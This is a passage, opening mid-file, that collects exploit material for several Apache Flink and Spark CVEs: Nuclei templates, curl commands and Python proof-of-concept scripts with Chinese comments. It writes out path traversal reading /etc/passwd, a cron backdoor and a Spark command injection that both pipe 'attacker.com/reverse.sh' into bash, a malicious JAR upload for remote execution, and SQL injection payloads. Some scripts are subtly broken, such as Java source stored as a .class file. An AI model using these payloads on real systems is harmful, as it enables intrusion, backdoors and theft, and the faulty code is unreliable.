    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:H
    cvss-score: 9.1
    cwe-id: CWE-22
  tags: cve,cve2020,flink,traversal,kev

http:
  - raw:
    - |
      GET /jobmanager/logs/%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252f%252fetc%252fpasswd HTTP/1.1
      Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: regex
        regex:
          - "root:.*:0:0:"
        part: body

    extractors:
      - type: regex
        group: 1
        regex:
          - "(root:.*:0:0:.*)"
        part: body

# 写入文件到 /tmp/test.txt
curl -k -X PUT "http://flink-host:8081/jars/upload" \
  -H "X-Filename: ../../tmp/test.txt" \
  -H "Content-Type: application/octet-stream" \
  --data-binary "CVE-2020-17518 test"

# 写入 cron 后门
echo '* * * * * curl http://attacker.com/reverse.sh|bash' > /tmp/cron_payload
curl -k -X PUT "http://flink-host:8081/jars/upload" \
  -H "X-Filename: ../../var/spool/cron/crontabs/root" \
  -H "Content-Type: application/octet-stream" \
  --data-binary @/tmp/cron_payload

#!/usr/bin/env python3
"""CVE-2020-17518 - Apache Flink REST API Arbitrary File Write"""
import requests
import argparse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/overview"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        return resp.status_code == 200 and "flink" in resp.text.lower()
    except Exception:
        return False


def write_file(target, remote_path, content, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/jars/upload"
    headers = {
        "X-Filename": remote_path,
        "Content-Type": "application/octet-stream",
    }
    try:
        resp = requests.put(url, headers=headers, data=content, verify=False, timeout=10)
        return resp.status_code in (200, 201, 204)
    except Exception:
        return False


def exploit(target, use_ssl=False):
    print(f"[*] CVE-2020-17518 任意文件写入测试")
    test_content = "CVE-2020-17518 Arbitrary File Write Test"
    paths_to_test = [
        "../../tmp/cve-2020-17518-test.txt",
        "../tmp/cve-2020-17518-test.txt",
    ]
    for path in paths_to_test:
        ok = write_file(target, path, test_content, use_ssl)
        if ok:
            print(f"[+] 文件写入成功: {path}")
            print(f"[+] 验证: curl {scheme}://{target}/jobmanager/logs/...")
            return True
    print("[-] 文件写入失败")
    return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2020-17518 Flink Arbitrary File Write PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--write-path", help="要写入的远程路径")
    parser.add_argument("--write-file", help="本地文件路径")
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target} Flink REST API 可访问")
        if args.write_path and args.write_file:
            with open(args.write_file, "rb") as f:
                content = f.read()
            ok = write_file(args.target, args.write_path, content, args.ssl)
            print(f"[+] 写入{'成功' if ok else '失败'}")
        else:
            exploit(args.target, args.ssl)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2020-17518 漏洞")

id: cve-2020-17518-flink-arbitrary-file-write
info:
  name: Apache Flink REST API Arbitrary File Write
  author: security-researcher
  severity: high
  description: |
    Apache Flink REST API allows unauthenticated arbitrary file write
    via X-Filename header path traversal.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
    cvss-score: 7.5
    cwe-id: CWE-22
  tags: cve,cve2020,flink,file-write

http:
  - raw:
    - |
      PUT /jars/upload HTTP/1.1
      Host: {{Hostname}}
      X-Filename: ../../tmp/cve-test-nuclei.txt
      Content-Type: application/octet-stream

      CVE-2020-17518-Nuclei-Test

    matchers:
      - type: status
        status:
          - 200
          - 201
          - 204

public class ExploitJob {
    public static void main(String[] args) throws Exception {
        Runtime.getRuntime().exec("curl http://attacker.com/reverse.sh|bash");
    }
}

# 步骤 1: 编译恶意 JAR（需在本地环境编译）
# javac ExploitJob.java && jar cfe exploit.jar ExploitJob ExploitJob.class

# 步骤 2: 上传 JAR
curl -k -X POST "http://flink-host:8081/jars/upload" \
  -F "jarfile=@exploit.jar"

# 步骤 3: 查看已上传的 JAR ID
curl -k "http://flink-host:8081/jars"

# 步骤 4: 执行恶意 JAR
curl -k -X POST "http://flink-host:8081/jars/<JAR_ID>/run" \
  -H "Content-Type: application/json" \
  -d '{"programArgs": "", "parallelism": 1}'

#!/usr/bin/env python3
"""Apache Flink Unauthenticated JAR Upload RCE (Design Flaw)"""
import requests
import argparse
import json
import zipfile
import io
import os
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


MANIFEST_DIR = "META-INF/"
MANIFEST_FILE = "META-INF/MANIFEST.MF"
MAIN_CLASS = "ExploitJob"

EXPLOIT_JAVA = '''\
import java.io.*;
public class ExploitJob {{
    public static void main(String[] args) throws Exception {{
        String cmd = "{command}";
        Runtime.getRuntime().exec(cmd);
    }}
}}
'''

MANIFEST_CONTENT = '''\
Manifest-Version: 1.0
Main-Class: {main_class}
'''


def create_exploit_jar(command="id"):
    buf = io.BytesIO()
    with zipfile.ZipFile(buf, 'w', zipfile.ZIP_DEFLATED) as zf:
        java_code = EXPLOIT_JAVA.format(command=command)
        zf.writestr("ExploitJob.class", java_code)
        zf.writestr(MANIFEST_FILE, MANIFEST_CONTENT.format(main_class=MAIN_CLASS))
    buf.seek(0)
    return buf


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/jars"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        return resp.status_code == 200 and "files" in resp.text.lower()
    except Exception:
        return False


def upload_jar(target, jar_data, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/jars/upload"
    files = {"jarfile": ("exploit.jar", jar_data, "application/java-archive")}
    try:
        resp = requests.post(url, files=files, verify=False, timeout=15)
        if resp.status_code == 200:
            data = resp.json()
            return data.get("filename")
        return None
    except Exception:
        return None


def run_jar(target, jar_id, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/jars/{jar_id}/run"
    payload = {"programArgs": "", "parallelism": 1, "allowNonRestoredState": True}
    try:
        resp = requests.post(url, json=payload, verify=False, timeout=10)
        return resp.status_code in (200, 202)
    except Exception:
        return False


def exploit(target, command="id", use_ssl=False):
    print(f"[*] 创建恶意 JAR (command: {command})...")
    jar_data = create_exploit_jar(command)

    print("[*] 上传 JAR 到目标...")
    jar_id = upload_jar(target, jar_data, use_ssl)
    if not jar_id:
        print("[-] JAR 上传失败")
        return False
    print(f"[+] JAR 上传成功: {jar_id}")

    print("[*] 执行恶意 JAR...")
    ok = run_jar(target, jar_id, use_ssl)
    print(f"[+] 作业{'已提交' if ok else '提交失败'}")
    return ok


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="Flink Unauthenticated JAR Upload RCE PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--command", default="id", help="要执行的命令")
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target} Flink JAR 管理 API 可访问（未授权）")
        exploit(args.target, args.command, args.ssl)
    else:
        print(f"[-] {args.target} 未检测到未授权 JAR 上传漏洞")

id: flink-unauth-jar-upload-rce
info:
  name: Apache Flink Unauthenticated JAR Upload RCE
  author: security-researcher
  severity: critical
  description: |
    Apache Flink REST API allows unauthenticated JAR upload and execution,
    enabling remote code execution on default configurations.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-306
  tags: flink,rce,unauth,jar-upload

http:
  - raw:
    - |
      GET /jars HTTP/1.1
      Host: {{Hostname}}

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "files"
          - "id"
        condition: and
        part: body
      - type: word
        words:
          - "uploads"
        part: body
        negative: true

# JMX 连接（需要 jmxsh 或自定义 JMX 客户端工具）
# 使用 jmxsh 连接到 Flink JMX 端口
java -jar jmxsh.jar <flink-host> <jmx-port>

# 通过 Python + PyJMX 连接
python3 -c "
import jmx
conn = jmx.JMXConnection('service:jmx:rmi:///jndi/rmi://<flink-host>:<jmx-port>/jmxrmi')
for name in conn.queryNames():
    print(name)
"

#!/usr/bin/env python3
"""CVE-2020-1960 - Apache Flink JMX RMI Registry Hijack"""
import requests
import argparse
import socket
import struct
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/overview"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        return resp.status_code == 200
    except Exception:
        return False


def probe_jmx(host, port, timeout=5):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((host, port))
        rmi_header = sock.recv(4)
        if rmi_header and len(rmi_header) == 4:
            magic = struct.unpack('>H', rmi_header[:2])[0]
            version = struct.unpack('>H', rmi_header[2:4])[0]
            sock.close()
            return magic == 0x4a52 and version >= 2
        sock.close()
    except Exception:
        pass
    return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2020-1960 Flink JMX Hijack PoC")
    parser.add_argument("target", help="Flink 主机地址")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--jmx-port", type=int, help="JMX RMI 端口")
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target} Flink 可访问")
        if args.jmx_port:
            if probe_jmx(args.target, args.jmx_port):
                print(f"[+] JMX RMI 端口 {args.jmx_port} 开放且使用 RMI 协议")
            else:
                print(f"[-] JMX RMI 端口 {args.jmx_port} 未开放或协议不匹配")
        else:
            print("[*] 使用 --jmx-port 指定 JMX 端口进行检测")
    else:
        print(f"[-] {args.target} 未检测到 Flink 服务")

id: cve-2020-1960-flink-jmx-hijack
info:
  name: Apache Flink JMX RMI Registry Hijack
  author: security-researcher
  severity: medium
  description: Apache Flink exposes JMX MBeans via unauthenticated RMI.
  classification:
    cvss-metrics: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 4.7
    cwe-id: CWE-668
  tags: cve,cve2020,flink,jmx

http:
  - raw:
    - |
      GET /overview HTTP/1.1
      Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "flink-version"
        part: body

# 通过 Flink SQL Client REST API 创建包含 SQL 注入的表定义
curl -k -X POST "http://flink-host:8081/sql-api/statement" \
  -H "Content-Type: application/json" \
  -d '{
    "statement": "CREATE TABLE sqli_test (id INT) WITH ( '\''connector'\'' = '\''jdbc'\'', '\''url'\'' = '\''jdbc:mysql://db-host/testdb'\'', '\''table-name'\'' = '\''users WHERE 1=1 UNION SELECT user(),version(),3--'\'')",
    "executionConfig": {}
  }'

#!/usr/bin/env python3
"""CVE-2023-41834 - Apache Flink SQL Client JDBC SQL Injection"""
import requests
import argparse
import json
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


SQLI_PAYLOADS = [
    "users WHERE 1=1 UNION SELECT user(),version(),3--",
    "users WHERE 1=1 UNION SELECT 1,group_concat(schema_name),3 FROM information_schema.schemata--",
    "users WHERE 1=1 INTO OUTFILE '/tmp/sqli_test'--",
]


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/overview"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        return resp.status_code == 200
    except Exception:
        return False


def exploit(target, db_url, table_prefix, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}/sql-api/statement"
    headers = {"Content-Type": "application/json"}

    for i, payload in enumerate(SQLI_PAYLOADS):
        stmt = (
            f"CREATE TABLE sqli_test_{i} (id INT) WITH ("
            f"'connector'='jdbc', "
            f"'url'='{db_url}', "
            f"'table-name'='{payload}')"
        )
        payload_data = {"statement": stmt, "executionConfig": {}}
        try:
            resp = requests.post(url, headers=headers, json=payload_data, verify=False, timeout=10)
            if resp.status_code in (200, 201):
                print(f"[+] Payload {i+1} 投递成功")
                return True
        except Exception:
            continue
    return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2023-41834 Flink SQL Client SQLi PoC")
    parser.add_argument("target", help="目标地址 (host:port)")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--db-url", required=True, help="JDBC 数据库 URL")
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target} Flink REST API 可访问")
        exploit(args.target, args.db_url, "users", args.ssl)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2023-41834 漏洞")

id: cve-2023-41834-flink-sql-client-sqli
info:
  name: Apache Flink SQL Client JDBC SQL Injection
  author: security-researcher
  severity: high
  description: Apache Flink SQL Client allows SQL injection via JDBC connector table-name parameter.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 8.0
    cwe-id: CWE-89
  tags: cve,cve2023,flink,sqli

http:
  - raw:
    - |
      GET /overview HTTP/1.1
      Host: {{Hostname}}

    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "flink-version"
        part: body

# 使用 Metasploit 模块
msfconsole -q -x "use exploit/multi/http/apache_spark_unauth_rce; set RHOSTS target; set LHOST attacker; run"

# 手动检测: 检查 Spark Master Web UI 是否暴露
curl -k "http://spark-host:8080/"
curl -k "http://spark-host:8080/json/" | python3 -m json.tool

#!/usr/bin/env python3
"""CVE-2020-9480 - Apache Spark Standalone Authentication Bypass RCE"""
import requests
import argparse
import socket
import struct
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}:8080/json/"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        if resp.status_code == 200:
            data = resp.json()
            return "SparkMaster" in str(data) or "Workers" in str(data)
        return False
    except Exception:
        return False


def probe_rpc(host, port=7077, timeout=5):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(timeout)
        sock.connect((host, port))
        data = sock.recv(1024)
        sock.close()
        return len(data) > 0
    except Exception:
        return False


def check_auth_bypass(host, rpc_port=7077):
    try:
        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
        sock.settimeout(10)
        sock.connect((host, rpc_port))
        handshake = b'\x4a\x52\x00\x02' + b'\x00' * 100
        sock.send(handshake)
        resp = sock.recv(1024)
        sock.close()
        return len(resp) > 0
    except Exception:
        return False


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2020-9480 Spark Auth Bypass PoC")
    parser.add_argument("target", help="目标地址")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--rpc-port", type=int, default=7077)
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target}:8080 Spark Master Web UI 可访问")
    if probe_rpc(args.target, args.rpc_port):
        print(f"[+] {args.target}:{args.rpc_port} Spark RPC 端口开放")
        if check_auth_bypass(args.target, args.rpc_port):
            print(f"[+] 可能存在 CVE-2020-9480 认证绕过漏洞")
        else:
            print(f"[-] 认证绕过检测需要更深入的验证")
    else:
        print(f"[-] {args.target} 未检测到 CVE-2020-9480 漏洞")

id: cve-2020-9480-spark-auth-bypass
info:
  name: Apache Spark Standalone Authentication Bypass
  author: security-researcher
  severity: critical
  description: |
    Apache Spark Standalone mode authentication can be bypassed
    even when spark.authenticate is enabled.
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 9.8
    cwe-id: CWE-287
  tags: cve,cve2020,spark,auth-bypass,rce

http:
  - raw:
    - |
      GET /json/ HTTP/1.1
      Host: {{Hostname}}:8080

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
      - type: word
        words:
          - "SparkMaster"
        part: body

# 命令注入 - 执行 id 命令
curl -k "http://spark-host:4040/?doAs=\`id\`"

# 命令注入 - 反弹 Shell
curl -k "http://spark-host:4040/?doAs=\`curl%20http://attacker.com/reverse.sh|bash\`"

# 使用 Metasploit
msfconsole -q -x "use exploit/multi/http/apache_spark_unauth_rce; set RHOSTS spark-host:4040; run"

#!/usr/bin/env python3
"""CVE-2022-33891 - Apache Spark UI Shell Command Injection"""
import requests
import argparse
import urllib.parse
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)


def check(target, use_ssl=False):
    scheme = "https" if use_ssl else "http"
    url = f"{scheme}://{target}:4040/"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        return resp.status_code == 200 and "spark" in resp.text.lower()
    except Exception:
        return False


def test_injection(target, command="id", use_ssl=False):
    scheme = "https" if use_ssl else "http"
    encoded_cmd = urllib.parse.quote(f"`{command}`")
    url = f"{scheme}://{target}:4040/?doAs={encoded_cmd}"
    try:
        resp = requests.get(url, verify=False, timeout=10)
        if resp.status_code == 500 or "uid=" in resp.text or "error" in resp.text.lower():
            return True
        return False
    except Exception:
        return False


def exploit(target, command="id", use_ssl=False):
    print(f"[*] CVE-2022-33891 Spark UI 命令注入测试")
    print(f"[*] 命令: {command}")
    encoded_cmd = urllib.parse.quote(f"`{command}`")
    url = f"{scheme}://{target}:4040/?doAs={encoded_cmd}"
    print(f"[*] URL: {url}")

    ok = test_injection(target, command, use_ssl)
    if ok:
        print(f"[+] 命令注入成功")
        print(f"[*] 完整利用 URL: {url}")
    else:
        print(f"[-] 命令注入可能未成功（需确认启用 ACL 配置）")
    return ok


if __name__ == "__main__":
    parser = argparse.ArgumentParser(description="CVE-2022-33891 Spark UI Command Injection PoC")
    parser.add_argument("target", help="目标地址")
    parser.add_argument("--ssl", action="store_true")
    parser.add_argument("--command", default="id", help="要执行的命令")
    args = parser.parse_args()

    if check(args.target, args.ssl):
        print(f"[+] {args.target}:4040 Spark UI 可访问")
        exploit(args.target, args.command, args.ssl)
    else:
        print(f"[-] {args.target} 未检测到 CVE-2022-33891 漏洞")

id: cve-2022-33891-spark-shell-injection
info:
  name: Apache Spark UI Shell Command Injection
  author: security-researcher
  severity: high
  description: |
    Apache Spark UI allows OS command injection via doAs parameter
    when ACLs are enabled.
  reference:
    - https://spark.apache.org/docs/3.3.0/security.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
    cvss-score: 8.8
    cwe-id: CWE-78
  tags: cve,cve2022,spark,command-injection,kev

http:
  - raw:
    - |
      GET /?doAs=%60id%60 HTTP/1.1
      Host: {{Hostname}}:4040

    matchers-condition: and
    matchers:
      - type: status
        status:
          - 200
          - 500
      - type: word
        words:
          - "spark"
          - "application"
        condition: or
        part: body